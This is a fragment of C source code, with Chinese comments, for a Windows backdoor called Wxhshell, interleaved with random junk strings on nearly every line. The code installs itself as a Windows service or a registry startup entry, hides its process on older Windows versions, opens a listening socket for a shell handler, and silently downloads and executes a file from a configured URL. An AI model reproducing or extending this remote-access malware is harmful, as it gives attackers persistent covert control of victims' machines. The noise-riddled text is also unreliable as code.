23$hwr&G\ if(!hProcess) return 0; |u"R(7N* #>jH[Q if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8MeXVhM gVU\^KN] CloseHandle(hProcess); pMp9O/u% 3Z:!o$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3c ^=<i
% if(hProcess==NULL) return 0; j{R|]SjW2H |/^aLj^u HMODULE hMod; 1vs>2` DLa char procName[255]; XOg(k(&T unsigned long cbNeeded; o:DBOpS }8M`2HMFR if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kQd[E-b7 S1juAV= CloseHandle(hProcess); 0a6@HwO 0^.4eX:E_ if(strstr(procName,"services")) return 1; // 以服务启动 +N$7=oGC /v)! m&6]> return 0; // 注册表启动 }r~l72
` } 'Y{ux> wT~;tOw~ // 主模块 ,DuZMGg int StartWxhshell(LPSTR lpCmdLine) s<_LcQbt{ { fC GDL6E SOCKET wsl; J5p!-N`NS BOOL val=TRUE; ,35:Srf| int port=0; mUyv+n, struct sockaddr_in door; $v<hW
A]> }t
D!xI; if(wscfg.ws_autoins) Install(); 8N*
-2/P& J
s<MJ4r>/ port=atoi(lpCmdLine); vDeG20.?Z sQ:VrXwP if(port<=0) port=wscfg.ws_port; y7)[cvB hf^`at WSADATA data; FR,#s^kF if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sx<+ *Trl zg Y*|{4Sl if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 0rJ\e setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ya&\ly
/i door.sin_family = AF_INET; <6b\i5j door.sin_addr.s_addr = inet_addr("127.0.0.1"); {9.~]dI|L door.sin_port = htons(port); ,cy/fW
_Kl{50}] if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bOSYr<R& closesocket(wsl); mGpkM?Y" return 1; 0SCW2/o8 } (zJ$oRq o*wC{VP_ if(listen(wsl,2) == INVALID_SOCKET) { ";?C4%L closesocket(wsl); _l!U[{l*d return 1; g1 Wtu*K3 } J%f=A1Q Wxhshell(wsl); },EUcVXk WSACleanup(); y)^CDe2xU />^`*e_ return 0; -=[o{r` 6 ,pZRc } oF b mz* 1Q&WoJLfR // 以NT服务方式启动 t:"=]zUU VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {`Fx~w;i { G<u.+V DWORD status = 0; *VC4s`< DWORD specificError = 0xfffffff; Hu9-<upc& ~?`9i>3W~ serviceStatus.dwServiceType = SERVICE_WIN32; W`/jz/ serviceStatus.dwCurrentState = SERVICE_START_PENDING; r6`^>c serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |6(qg5" serviceStatus.dwWin32ExitCode = 0; llaZP(pJ serviceStatus.dwServiceSpecificExitCode = 0; K!-&Zv serviceStatus.dwCheckPoint = 0; %YvSHh;c serviceStatus.dwWaitHint = 0; *4hOCQ[ i5E:FS^!I hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iVpA@p if (hServiceStatusHandle==0) return; g?A5'o&Yu Sp`fh7d.( status = GetLastError(); iZ.&q
6 if (status!=NO_ERROR) kf^-m/ { |Y8Mk2,s serviceStatus.dwCurrentState = SERVICE_STOPPED; }lC64;yo serviceStatus.dwCheckPoint = 0; m['v3m: serviceStatus.dwWaitHint = 0; 01-\:[{ serviceStatus.dwWin32ExitCode = status; q(&^9" serviceStatus.dwServiceSpecificExitCode = specificError; /[nZ#zj!3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); DNm7z[t{ return; X$uz=) } N1+4bR r>Qyc serviceStatus.dwCurrentState = SERVICE_RUNNING; rq'##`H serviceStatus.dwCheckPoint = 0; k{}[>))Q serviceStatus.dwWaitHint = 0; rtYb"-& if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~E3SC@KL } C:s^s `hK>bHj // 处理NT服务事件,比如:启动、停止 =N*%f% VOID WINAPI NTServiceHandler(DWORD fdwControl) ND e[2 { @ yg|OA} switch(fdwControl) Z}LOy^TL { @\6nXf case SERVICE_CONTROL_STOP: %7C%`)T] serviceStatus.dwWin32ExitCode = 0; nv_m!JG7 serviceStatus.dwCurrentState = SERVICE_STOPPED; STXqq[+Rf serviceStatus.dwCheckPoint = 0; gf3u0' $ serviceStatus.dwWaitHint = 0; ^T}}4I_Y { 8tT&BmT SetServiceStatus(hServiceStatusHandle, &serviceStatus); GLaZN4` } c>u>Pi;Z return; eHR&N.2 case SERVICE_CONTROL_PAUSE: <i:*p1#Bm serviceStatus.dwCurrentState = SERVICE_PAUSED; hyk|+z`B break; yd0=h7s case SERVICE_CONTROL_CONTINUE: >ggk>s| serviceStatus.dwCurrentState = SERVICE_RUNNING; a9?
v\hG break; &e HM#as case SERVICE_CONTROL_INTERROGATE: KD%xo/Z. break; EU^}NZW&v: }; cwM#X;FGq
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !!-}ttFA } X ]pR,\B )8x:x7? // 标准应用程序主函数 .y %pGi int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M9(ez7Z { {.aK{
V W2F+^ // 获取操作系统版本 Nh1e1m? OsIsNt=GetOsVer(); 0okO+QU,a GetModuleFileName(NULL,ExeFile,MAX_PATH); ;B|^2i1Wi #uD)0zdw // 从命令行安装 e9z$+h if(strpbrk(lpCmdLine,"iI")) Install(); 8m/FKO (r hapB! ~M? // 下载执行文件 TdNuD V if(wscfg.ws_downexe) { Xb(CH#*{z if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w&wA >q>& WinExec(wscfg.ws_filenam,SW_HIDE); {(m+M } ibZt2@GB)I pPi YPfs if(!OsIsNt) { TZ&4 // 如果时win9x,隐藏进程并且设置为注册表启动 9atjK4+o HideProc(); jy\W_CT StartWxhshell(lpCmdLine); p|FlWR'mA } Eu`2w%qz else #/n|@z' if(StartFromService()) cS"f // 以服务方式启动 iXUWIgr StartServiceCtrlDispatcher(DispatchTable); ^f^-.X else KAj"p9hq+k // 普通方式启动 pY{; Yn&t StartWxhshell(lpCmdLine); iwG>]:K3 3iu!6lC return 0; L\/u}]dPQ }
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